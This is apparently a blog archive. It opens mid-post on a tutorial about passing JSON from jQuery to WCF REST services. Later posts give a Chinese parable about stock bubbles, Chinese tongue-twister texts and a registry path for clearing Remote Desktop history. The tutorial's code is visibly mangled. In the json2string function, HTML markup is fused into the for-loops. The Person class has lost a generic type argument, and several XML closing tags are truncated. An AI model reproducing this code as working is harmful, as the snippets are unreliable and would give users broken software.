                success: callback,
                error: error
            });   
}

When you send data like this you can actually change the message format to Bare and get just a raw object response. jQuery can either except a raw POST string for the data parameter or an object whose properties and values are turned into POST key value pairs.

If you want to use POST behavior with WCF though, you need to enable ASPNET Compatibility on the REST service - otherwise the HttpContext.Current.Request is not available since WCF REST by default is trying to be host agnostic. For more information on how to configure WCF REST services check my previous post on WCF REST configuration last week.

This format might be preferrable if you are indeed building a public API that will be externally accessed. Raw POST data interchange is more common for many Ajax libraries, and also lends it self to straight HTTP clients that don't have JSON encoding features built in. For public APIs this makes plenty of sense. Remember that if you care about date formatting you may want to add the explicit JSON2 parsing code into the success callback (I left this out here for simplicities sake).

Error Handling

One more issue you'll want to be very careful of with WCF REST Services when you're using non-WebScriptService (ASP.NET AJAX style) behavior: When an error occurs WCF unfortunately throws an HTML error page rather than a JSON or XML fault message. That's a big problem if you want to return meaningful error messages to your client application - the only way to retrieve the error is by parsing the messy and very bulky HTML document returned.I've tried finding some way to get the REST services to throw a full JSON based error message and I haven't found a way to do this. JSON error messages seem to only work when you're using WebScriptService which is the full ASP.NET AJAX emulation. Under WebScriptService behavior the message returns the standard Exception like structure that includes a .Message and .StackTrace property that lets you echo back errors more easily.

In the end this means that even if you are using a non-MS Ajax client it might be the best solution to use the ASP.NET AJAX style WebHttp binding, simply because it provides the behavior that you most commonly require. There's nothing lost by doing so. You don't incur any client ASP.NET AJAX client requirements, but you do get the wrapped format input and exceptions properly wrapped on errors, plus this format is easier to implement because it doesn't require any special attributes on each individual operation/method as it's a fixed format. On the downside you do lose the ability to use UrlTemplates which might be useful in some situations, but it's probably not a common scenario that you need this for pure AJAX services.

Passing a JSON object to a WCF service with jQuery

This example uses WCF to create a service endpoint that will be accessible via an ASP.NET page with jQuery/AJAX. We will use AJAX to pass a JSON object from the client-side to the webservice. We will only use jQuery to connect to the web service, there will be no ASP.NET AJAX library used. Why no ASP.NET AJAX library? jQuery is already included in the project and it can handle all the necessary AJAX calls and functionality that we would want if we were using the ASP.NET AJAX script library. We're also going to save about 80kb of overhead (much more if in debug mode) by excluding the ASP.NET AJAX library. This is in no way saying that the ASP.NET AJAX library isn't useful... As a matter of fact if we were to do the same example with the library we could save ourselves from writing extra code. However the point of this example is to show that we can access the web service even if we don't have a nicely generated client-side proxy a la ASP.NET AJAX.

The WCF Service:

I'm going to start by adding an AJAX-enabled WCF Service to a Website. (Make sure you're running the correct version of .NET - I am using 3.5 here)

After adding the service it opens up to the service's code-behind file. Go ahead and browse around the file for a second.

The first thing I'm going to point out is to make sure that the "AspNetCompatibilityRequirements" is set to "Allowed":

[code:c#]
[AspNetCompatibilityRequirements( RequirementsMode = AspNetCompatibilityRequirementsMode.Allowed )]
[/code]

This attribute indicates that our service should run in ASP.NET compatibility mode. If it were not "Allowed" we would not be able to access the service from ASP.NET. This attribute is automatically generated when you add the "AJAX-enabled WCF Service." For a detailed explanation of the attribute go to MSDN.

Looking at the generated code-behind file we can see it has placed a "DoWork()" method with the "OperationContract" attribute. This is created by default but lets keep it since we will be using this method to run this example. One thing we want to add is a "WebGet" attribute and set the "RequestFormat" to "Json." WebGet associates the operation with a UriTemplate (not discussed in this example) as well as the GET verb. Setting the RequestFormat allows us to define that the Request should be in JSON format. Our "DoWork()" method should now look like this:

[code:c#]
[OperationContract]
[WebGet( RequestFormat=WebMessageFormat.Json )]
public void DoWork()
{
// Add your operation implementation here
return;
}
[/code]



The Data/Object Structure:

We want to pass in a "Person" object to the "DoWork()" method so lets quickly create a Person object with properties for a Name, Age and the types of Shoes they own (first thing that popped into my head). This class will also serve as the structure for our JSON object.

[code:c#]
[Serializable]
[DataContract( Namespace = "http://www.dennydotnet.com/", Name = "Person" )]
public class Person
{
private string _name = string.Empty;
private int _age = 0;

[DataMember( IsRequired = true, Name = "Name" )]
public string Name
{
get { return _name; }
set { _name = value; }
}

[DataMember( IsRequired = true, Name = "Age" )]
public int Age
{
get { return _age; }
set { _age = value; }
}

[DataMember( IsRequired = true, Name = "Shoes" )]
public List Shoes;

}
[/code]

We've decorated our Person class as a DataContract specifying the Namespace and Name. We've also decorated our properties with a DataMember attribute. We've set "IsRequired" for each one to true and specified the Name. You really only need to specify the "Name" if it's going to be different than the property name. For example you could have a property named "Level" and the DataMember attribute's Name set to "Rank." We can now go back and modify our "DoWork()" method to receive a Person object as a param. It should now look like the following:

[code:c#]
[OperationContract]
[WebGet( RequestFormat=WebMessageFormat.Json )]
public void DoWork(Person p)
{
// Add your operation implementation here
return;
}
[/code]

The Web.Config File:

You'll need to make a few changes to your web.config file before you can access your service. You'll need to add a serviceBehavior to allow httpGet and we'll also add some helpful debugging options too. Add the following to your web.config:

Below

[code:xml]
<serviceBehaviors>
<behavior name="ServiceAspNetAjaxBehavior">
<serviceMetadata httpGetEnabled="true" httpGetUrl="" />
<serviceDebug httpHelpPageEnabled="true" includeExceptionDetailInFaults="true" />
behavior>
serviceBehaviors>
[/code]


Between [here] your service node should look like this:
[code:xml]
<service name="Service" behaviorConfiguration="ServiceAspNetAjaxBehavior">
<endpoint address="" behaviorConfiguration="ServiceAspNetAjaxBehavior"
binding="webHttpBinding" contract="Service" />
<endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />
service>
[/code]

A security note about the following line:

[code:xml]
<serviceDebug httpHelpPageEnabled="true" includeExceptionDetailInFaults="true" />
[/code]


Allowing exception details can expose internal application information including personally identifiable or otherwise sensitive information. Setting the option to true is only recommended as a way to temporarily debug your service!!

Your Web.Config should look like the following: (pardon the colors)

The Front-End:

Now that the service is created and configured we can move to the front-end (make sure jQuery.js is included in your ASP.NET page). First let's create a sample JSON object that we will pass to the service. We'll create the JSON object based on the structure of the Person class.

[code:js]
var mydata = { "Name":"Denny", "Age":23, "Shoes":["Nike","Osiris","Etnies"] };
[/code]


If you're not too familiar with JSON this is what our JSON object looks like as an object (JsonViewer):

We need to somehow communicate with the WCF service and since we're using jQuery we can use the library's built-in AJAX methods. The code below creates an AJAX call. the headers are set to GET and the contentType is application/json. We set the url to the path to our WCF service's svc file with a trailing / and then the name of the method we want to execute. In this case we're calling the "DoWork()" method. "data" will be passed in to our function and processData should be set to false so that jquery does not try to auto-process our data. We've also added a success and error function to let us know what happens after executing the AJAX.

[code:js]
function sendAJAX(data) {
$.ajax({
type: "GET",
contentType: "application/json",
url: "Service.svc/DoWork",
data: data,
processData: false,
success:
function(msg){
alert( "Data Saved!" );
},
error:
function(XMLHttpRequest, textStatus, errorThrown){
alert( "Error Occured!" );
}
});
}
[/code]

Now unfortunately there is a small issue here. We must send the actual JSON string as the value for DoWork's Person p param and there's no easy way of turning your JSON object into a string. If you try "data.toString()" you'll just get an "[object Object]" value (remind you of anything?), which is not what we want. So here's a slightly modified function that will take your JSON and turn it into a string.

Note* The JSON de/serialization handles Date/Time in a specific way. The json2string function below does not take this into account. I'm sure there are some implementations out there which will work with ASP.NET AJAX but this one does not. For more information on this you can go here.

Update [4/11/08]: The javascript below has a few issues so it's been suggested that you should use the JSON.org version to "stringify" your object. You can download the script from here.

Update [4/25/08]: Rick Strahl has modified the JSON.org script so that it will properly create the dates to work with ASP.NET AJAX (read his post)

[code:js]
function json2string(strObject) {
var c, i, l, s = '', v, p;

switch (typeof strObject) {
case 'object':
if (strObject) {
if (strObject.length && typeof strObject.length == 'number') {
for (i = 0; i < v =" json2string(strObject[i]);" class="kwrd">if (s) {
s += ',';
}
s += v;
}
return '[' + s + ']';
} else if (typeof strObject.toString != 'undefined') {
for (i in strObject) {
v = strObject[i];
if (typeof v != 'undefined' && typeof v != 'function') {
v = json2string(v);
if (s) {
s += ',';
}
s += json2string(i) + ':' + v;
}
}
return '{' + s + '}';
}
}
return 'null';
case 'number':
return isFinite(strObject) ? String(strObject) : 'null';
case 'string':
l = strObject.length;
s = '"';
for (i = 0; i < c =" strObject.charAt(i);" class="kwrd">if (c >= ' ') {
if (c == '\\' || c == '"') {
s += '\\';
}
s += c;
} else {
switch (c) {
case '\b':
s += '\\b';
break;
case '\f':
s += '\\f';
break;
case '\n':
s += '\\n';
break;
case '\r':
s += '\\r';
break;
case '\t':
s += '\\t';
break;
default:
c = c.charCodeAt();
s += '\\u00' + Math.floor(c / 16).toString(16) +
(c % 16).toString(16);
}
}
}
return s + '"';
case 'boolean':
return String(strObject);
default:
return 'null';
}
}
[/code]

Now that we have a function to turn our JSON object into a string we need to go back and update the "mydata" variable that we defined above. After applying the json2string function we should have the following:

[code:js]
var mydata = { "Name":"Denny", "Age":23, "Shoes":["Nike","Osiris","Etnies"] };
var jsonStr = "p=" + json2string(mydata);
[/code]

Notice that I prepended the "p=" string to our json string. "p" matches the parameter name in our "DoWork()" method. So if our parameter name was "Dude" ( i.e. DoWork(Person Dude) ) then we would use "Dude=" instead.

Now that we've built the querystring to the web service we can see what our call is going to look like:

http://www.dennydotnet.com/Service.svc/DoWork/?p={ "Name":"Denny", "Age":23, "Shoes":["Nike","Osiris","Etnies"] }

You may get a URL Encoded value too, which would look like:

http://www.dennydotnet.com/Service.svc/DoWork/?p=%7b+%22Name%22%3a%22Denny%22%2c+%22Age%22%3a23%2c+%22Shoes%22%3a%5b%22Nike%22%2c%22Osiris%22%2c%22Etnies%22%5d+%7d%3b

Go ahead and link "jsonStr" to the "SendAjax()" javascript method so we can debug our service and verify that the data was passed through to the service... check it out:

And now you just need to implement your logic in the DoWork() method. Notice how you don't have to do any de/serialization on the WCF service side either, it's already done for you. Now you should certainly implement some exception management so that you don't get any invalid data, or even add some authentication, but I'll leave that up to you...

1/16/2008

以一卖烧饼的故事 来描述股市

  有一个故事,来看看能不能解答你的疑问。
  
  假设一个市场,有两个人在卖烧饼,有且只有两个人,姑且称他们为烧饼甲、烧饼乙。
  
  假设他们的烧饼价格没有物价局监管。
  
  假设他们每个烧饼卖一元钱就可以保本(包括他们的劳动力价值)
  
  假设他们的烧饼数量一样多。
  
  ——经济模型都这样,假设需要很多。
  
  再假设他们生意很不好,一个买烧饼的人都没有。这样他们很无聊地站了半天。
  
  甲说好无聊。
  
  乙说好无聊。
  
  看故事的你们说:好无聊。
  
  这个时候的市场叫做很不活跃!
  
  为了让大家不无聊,甲对乙说:要不我们玩个游戏?乙赞成。
  
  于是,故事开始了。。。。。。
  
  甲花一元钱买乙一个烧饼,乙也花一元钱买甲一个烧饼,现金交付。
  
  甲再花两元钱买乙一个烧饼,乙也花两元钱买甲一个烧饼,现金交付。
  
  甲再花三元钱买乙一个烧饼,乙也花三元钱买甲一个烧饼,现金交付。
  
  。。。。。。
  
  于是在整个市场的人看来(包括看故事的你)烧饼的价格飞涨,不一会儿就涨到了每个烧饼60元。但只要甲和乙手上的烧饼数一样,那么谁都没有赚钱,谁也没有亏钱,但是他们重估以后的资产“增值”了!甲乙拥有高出过去很多倍的“财富”,他们身价提高了很多,“市值”增加了很多。
  
  这个时候有路人丙,一个小时前路过的时候知道烧饼是一元一个,现在发现是60元一个,他很惊讶。
  
  一个小时以后,路人丙发现烧饼已经是100元一个,他更惊讶了。
  
  又一个小时以后,路人丙发现烧饼已经是120元一个了,他毫不犹豫地买了一个,因为他是个投资兼投机家,他确信烧饼价格还会涨,价格上还有上升空间,并且有人给出了超过200元的“目标价”(在股票市场,他叫股民,给出目标价的人叫研究员)。
  
  在烧饼甲、烧饼乙“赚钱”的示范效应下,甚至路人丙赚钱的示范效应下,接下来的买烧饼的路人越来越多,参与买卖的人也越来越多,烧饼价格节节攀升,所有的人都非常高兴,因为很奇怪:所有人都没有亏钱。。。。。。
  
  这个时候,你可以想见,甲和乙谁手上的烧饼少,即谁的资产少,谁就真正的赚钱了。参与购买的人,谁手上没烧饼了,谁就真正赚钱了!而且卖了的人都很后悔——因为烧饼价格还在飞快地涨。。。。。。
  
  那谁亏了钱呢?
  
  答案是:谁也没有亏钱,因为很多出高价购买烧饼的人手上持有大家公认的优质等值资产——烧饼!而烧饼显然比现金好!现金存银行能有多少一点利息啊?哪比得上价格飞涨的烧饼啊?甚至大家一致认为市场烧饼供不应求,可不可以买烧饼期货啊?于是出现了认购权证。。。。。。
  
  有人问了:买烧饼永远不会亏钱吗?看样子是的。但这个世界就那么奇怪,突然市场上来了一个叫李子的,李子曰:有亏钱的时候!那哪一天大家会亏钱呢?
  
  假设一:市场上来了个物价部门,他认为烧饼的定价应该是每个一元。(监管)
  
  假设二:市场出现了很多做烧饼的,而且价格就是每个一元。(同样题材)
  
  假设三:市场出现了很多可供玩这种游戏的商品。(发行)
  
  假设四:大家突然发现这不过是个烧饼!(价值发现)
  
  假设五:没有人再愿意玩互相买卖的游戏了!(真相大白)
  
  如果有一天,任何一个假设出现了,那么这一天,有烧饼的人就亏钱了!那谁赚了钱?就是最少占有资产——烧饼的人!
  
  这个卖烧饼的故事非常简单,人人都觉得高价买烧饼的人是傻瓜,但我们再回首看看我们所在的证券市场的人们吧。这个市场的有些所谓的资产重估、资产注入何尝不是这样?在ROE高企,资产有高溢价下的资产注入,和卖烧饼的原理其实一样,谁最少地占有资产,谁就是赚钱的人,谁就是获得高收益的人!
  
  所以作为一个投资人,要理性地看待资产重估和资产注入,忽悠别人不要忽悠自己,尤其不要忽悠自己的钱!
  
  在高ROE下的资产注入,尤其是券商借壳上市、增发购买大股东的资产、增发类的房地产等等资产注入,一定要把眼睛擦亮再擦亮,慎重再慎重!
  
  因为,你很可能成为一个持有高价烧饼的路人!

1/11/2008

伟大的中文——世间牛人到此哑口无言!

1、赵元任《施氏食狮史》      石室诗士施氏,嗜狮,誓食十狮。施氏时时适市视狮。十时,适十狮适市。是时,适施氏适市。氏视是十狮,恃矢势,使是十狮逝世。氏拾是十狮尸,适石室。石室湿,氏使侍拭石室。石室拭,氏始试食是十狮。食时,始识是十狮,实十石狮尸。试释是事。
2、杨富森<<于瑜与余欲渔遇雨>>
于瑜欲渔,遇余于寓。语余:“余欲渔于渝淤,与余渔渝欤?”余语于瑜:“余欲鬻玉,俞禹欲玉,余欲遇俞于俞寓。”  余与于瑜遇俞禹于俞寓,逾俞隅,欲鬻玉于俞,遇雨,雨逾俞宇。余语于瑜:“余欲渔于渝淤,遇雨俞寓,雨逾俞宇,欲渔欤?鬻玉欤?”  于瑜与余御雨于俞寓,俞鬻玉于余禹,雨愈,余与于瑜踽踽逾俞宇,渔于渝淤。
3、《季姬击鸡记》
  季姬寂,集鸡,鸡即棘鸡。棘鸡饥叽,季姬及箕稷济鸡。鸡既济,跻姬笈,季姬忌,急咭鸡,鸡急,继圾几,季姬急,即籍箕击鸡,箕疾击几伎,伎即齑,鸡叽集几基,季姬急极屐击鸡,鸡既殛,季姬激,即记《季姬击鸡记》。
4、《遗镒疑医》
  伊姨殪,遗亿镒。伊诣邑,意医姨疫,一医医伊姨。翌,亿镒遗,疑医,以议医。医以伊疑,缢,以移伊疑。伊倚椅以忆,忆以亿镒遗,以议伊医,亦缢。噫!亦异矣!  5、《易姨医胰》
  易姨悒悒,依议诣夷医。医疑胰疫,遗意易姨倚椅,以异仪移姨胰,弋异蚁一亿,胰液溢,蚁殪,胰以医。易胰怡怡,贻医一夷衣。医衣夷衣,怡怡奕奕。噫!以蚁医胰,异矣!以夷衣贻夷医亦宜矣!  6、 赵元任《熙戏犀》
  西溪犀,喜嬉戏。席熙夕夕携犀徙,席熙细细习洗犀。犀吸溪,戏袭熙。席熙嘻嘻希息戏。惜犀嘶嘶喜袭熙。  7、《饥鸡集矶记》
  唧唧鸡,鸡唧唧。几鸡挤挤集矶脊。机极疾,鸡饥极,鸡冀己技击及鲫。机既济蓟畿,鸡计疾机激几鲫。机疾极,鲫极悸,急急挤集矶级际。继即鲫迹极寂寂,继即几鸡既饥,即唧唧。  8、《侄治痔》
芝之稚侄郅,至智,知制纸,知织帜,芝痔炙痔,侄至芝址,知之知芷汁治痔,至芷址,执芷枝,蜘至,踯侄,执直枝掷之,蜘止,侄执芷枝至芝,芝执芷治痔,痔止。  9、 最后也是最变态的:
  《羿裔熠邑彝》  羿裔熠①,邑②彝,义医,艺诣。  熠姨遗一裔伊③,伊仪迤,衣旖,异奕矣。  熠意④伊矣,易衣以贻伊,伊遗衣,衣异衣以意异熠,熠抑矣。  伊驿邑,弋一翳⑤,弈毅⑥。毅仪奕,诣弈,衣异,意逸。毅诣伊,益伊,伊怡,已臆⑦毅矣,毅亦怡伊。  翌,伊亦弈毅。毅以蜴贻伊,伊亦贻衣以毅。  伊疫,呓毅,癔异矣,倚椅咿咿,毅亦咿咿。  毅诣熠,意以熠,议熠医伊,熠懿⑧毅,意役毅逸。毅以熠宜伊,翼逸。  熠驿邑以医伊,疑伊胰痍⑨,以蚁医伊,伊遗异,溢,伊咦。熠移伊,刈薏⑩以医,伊益矣。  伊忆毅,亦呓毅矣,熠意伊毅已逸,熠意役伊。伊异,噫,缢。  熠癔,亦缢。
  注解:  ①熠:医生,据说为后羿的后裔。  ②邑:以彝为邑,指居住在一个彝族聚居的地方。  ③伊:绝世佳丽,仪态万方,神采奕奕。  ④意:对伊有意思,指熠爱上了伊。  ⑤翳:有遮蔽的地方,指伊游弋到了一个阴凉的地方。  ⑥毅:逍遥不羁的浪人,善于下棋,神情坚毅,目光飘逸。  ⑦臆:主观的感觉,通“意”,指对毅有好感。  ⑧懿:原意为“懿旨”,此处引申为要挟,命令。  ⑨胰痍:胰脏出现了疮痍。  ⑩刈:割下草或者谷物一类。薏:薏米,白色,可供食用,也可入药

1/02/2008

delete content history in MSTSC

HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default